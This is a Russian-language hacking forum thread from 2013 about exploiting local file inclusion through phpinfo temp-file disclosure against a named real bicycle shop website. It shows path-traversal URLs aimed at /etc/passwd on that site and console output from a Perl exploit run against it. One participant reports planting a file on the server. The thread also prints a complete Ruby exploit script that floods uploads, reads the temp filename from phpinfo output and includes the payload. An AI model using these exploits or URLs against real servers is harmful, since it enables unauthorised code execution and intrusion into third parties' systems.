Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Помогите с LFI через phpinfo (https://forum.antichat.xyz/showthread.php?t=394544)

psihoz26 19.09.2013 11:22

ссылка на пхпинфо

http://www.cloud9(АНТИГУГОЛ)cycles.com/info.php

ссылка с инклудом

http://www.cloud9(АНТИГУГОЛ)cycles.com/index.php?content=../../../../../../etc/passwd%00

юзаю слоит LFI через phpinfo

взятый отсюда

https://rdot.org/forum/showpost.php?p=12621&postcount=2

Код:

C:\Windows\system32>perl C:\lfi.pl http://www.cloud9(АНТИГУГОЛ)cycles.com/info.php http://w
ww.cloud9(АНТИГУГОЛ)cycles.com/index.php?content=../../../../../../etc/passwd%00
Generating huge headers        [headers ready]
Setting buffer size            [512]
Sending request                [request sent]
HTTP/1.1 200 OK
Reading.........................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
......................................
Got filename: /tmp/phpROHVzd
Including...

       
                Cloud 9 Cycles
               
               
               
               
                       
               
               
               

               
               
               

               
           
       
       

               
                       
                       
       
       
                                Follow @Cloud9Cycles
       
       
       

                       
       

                               
                                       
                                       
                                               
                                                        home  -
-
                                                        custom builds  --
                                                        bikes  --
                                                        servicing  --
                                                        bike rental  --

                                                        blog  --
                                                        contact us
                                               
                                       
                                       
                                                                       
                       
                       

                       
                                hello

Keeping file /tmp/phpROHVzd in tmp, use it as long as you need it
...............................................................................

патаюсь проинклудить /tmp/phpROHVzd

http://www.cloud9(АНТИГУГОЛ)cycles.com/index.php?content=../../../../../../tmp/phpROHVzd%00

и ничего не ывходит =(

В чем может быть проблема??

Unknown 19.09.2013 16:38

Цитата:

Сообщение от psihoz26
и ничего не ывходит =(
В чем может быть проблема??

Все работает, правда файл в /tmp/ живет не долго.

У меня самописный сплоит под phpinfo, в качестве нагрузки добавил в него: '); ?>

Результат:

http://www.cloud(дщд)9cycles.com/index.php?content=../../../../../../tmp/qwerty.lol%00

qaz 20.09.2013 12:36

не силён в перое, но кто может обьяснить какие манипуляции позволяют создать файл в папке темп?

Unknown 20.09.2013 13:58

Цитата:

Сообщение от qaz
не силён в перое, но кто может обьяснить какие манипуляции позволяют создать файл в папке темп?

Манипуляции по созданию файлов в /tmp выполняет phpinfo(), достаточно передать скрипту содержимое файлов, как то так.

qaz 20.09.2013 15:17

Цитата:

Сообщение от yobanet
как то так.

ммм, а подробнее кто-то может обьяснить? какие параметры нужно передавать?

Unknown 20.09.2013 16:05

Как то так, не знаю как объяснить.

Код:

require 'socket'
require 'uri'
require 'net/http'

def main()

        #setting up
        puts "SETTING UP"
       
        target = 'http://www/phpinfo.php'                                                                                # phpinfo()
        lfi = 'http://www/include.php?file='                                                                        # LFI template like http://www.host.com/data/lfi.php?location={LFI}
        payloadLocation = 'payload.txt'                                                                                        # payload
        junkFilesCount = 50                                                                                                                # tail
        recvBufferSize = 1024                                                                                                        # receive buffer size

        # just echo for u
        printDotted(' -target:')
        print("[#{target}]\n");
       
        printDotted(' -lfi:')
        print("[#{lfi}]\n");
       
        printDotted(' -payload:')
        print("[#{payloadLocation}]\n");
       
        printDotted(' -junk files count:')
        print("[#{junkFilesCount}]\n");
       
        printDotted(' -receive buffer size:')
        print("[#{recvBufferSize}]\n");
       
        # try to load payload
        begin
                printDotted('LOAD PAYLOAD')
                payload = IO.read(payloadLocation)
                print("[OK]\n")
        rescue
                print("[ERROR]\n")
                return
        end

        # payload
    file = "-----------------------------89q8834898293409rw29\r\n"
    file += "Content-Disposition: form-data; name=\"file_loader\"; filename=\"\r\npayload.txt\"\r\n"
    file += "Content-Type: text/plain\r\n\r\n"
    file += "#{payload}\r\n"
    file += "-----------------------------89q8834898293409rw29\r\n"
                       
    # generate junk files
        printDotted('PREPARE JUNK')
       
        curJunkFiles = 0;
       
        for junkFiles in 0..junkFilesCount
                file += "-----------------------------89q8834898293409rw29\r\n"
                file += "Content-Disposition: form-data; name=\"file" + rand(10000).to_s + "\"; filename=\"\r\njunk" + rand(1000000).to_s * 10000 + ".txt\"\r\n"
                file += "Content-Type: text/plain\r\n\r\n"
                file += "superslow\r\n"
                file += "-----------------------------89q8834898293409rw29\r\n"
        end
       
        print("[OK]\n")
       
        printDotted('prepare headers')
       
        targetURI = URI(target)
       
        query = targetURI.path
       
        # add query if not empty
        if !targetURI.query.nil?
                query += '?' + targetURI.query
        end
       
        # headers
        req = "POST #{query} HTTP/1.0\r\n"
        req += "Content-Type: multipart/form-data; boundary=---------------------------89q8834898293409rw29\r\n"
        req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
        req += "User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0\r\n"
        req += "Host: #{targetURI.host}\r\n"
        req += "Content-Length: #{file.length}\r\n"
        req += "Connection: Close\r\n\r\n"
       
        req += file
       
        print("[OK]\n")

        # create tcp socket       
        sock = Socket.new(:INET, :STREAM)
       
        # and set receive buffer size
        sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_RCVBUF, recvBufferSize)       
       
        printDotted('connecting to')
       
        begin
                sock.connect(Socket.pack_sockaddr_in(80, targetURI.host))
        rescue
                print("[ERROR]\n")
                return false
        end
       
        print("[OK]\n")

        sock.write(req)
       
        data = ''
        payloadFound = false
        loaderFound = false
        payloadFileName = ''
        loaderFileName = ''
       
        while true
               
                printDotted("get next #{recvBufferSize} bytes")
               
                tmpData = sock.recv(recvBufferSize)
               
                print("[OK]\n")
               
                if tmpData.nil?
                        break
                end
               
                data += tmpData
               
                tmpFileName = data.scan(/\[name\]\s=>\spayload.txt\n\s\s\s\s\[type\]\s=>\stext\/plain\n\s\s\s\s\[tmp_name\]\s=>\s(.*?)\n\s\s\s\s\[error\]/)
               
                if tmpFileName.length > 0
                        payloadFound = true
                        payloadFileName = tmpFileName[0][0].clone
                       
                        printDotted('payload file location:')
                        print('[' + payloadFileName + ']' + "\n")
                       
                        lfi += payloadFileName + '%00'
                                       
                        lfiURI = URI(lfi)
       
                        printDotted("Include #{payloadFileName}")
                       
                        response = Net::HTTP.get_response(lfiURI);
       
                        if !response.is_a?(Net::HTTPOK) then
                                print("[ERROR]\n")
                                return
                        else
                                print("[OK]\n")
                        end                       
                       
                        return
                end
               
        end
end

def printDotted(msg)
        print msg + "." * (50 - msg.length)
end

main()


попугай 21.09.2013 15:09

Как тесен интернет то.

qaz 10.10.2013 22:12

Цитата:

Сообщение от yobanet
Как то так, не знаю как объяснить.

вопрос актуален

Expl0ited 10.10.2013 22:53

Цитата:

Сообщение от yobanet
Манипуляции по созданию файлов в /tmp выполняет phpinfo(), достаточно передать скрипту содержимое файлов, как то так.

лол ))) как же ты писал сплоит, если не знаешь как работает уязвимость?

Unknown 11.10.2013 00:10

Цитата:

Сообщение от yobanet
Манипуляции по созданию файлов в /tmp выполняет phpinfo(), достаточно передать скрипту содержимое файлов, как то так.

Это не phpinfo() выполняет подобные "манипуляции", а интерпретатор, пхпинфо же служит связующим звеном, позволяющим при определенных обстоятельствах увидеть путь к временному файлу.


Время: 20:26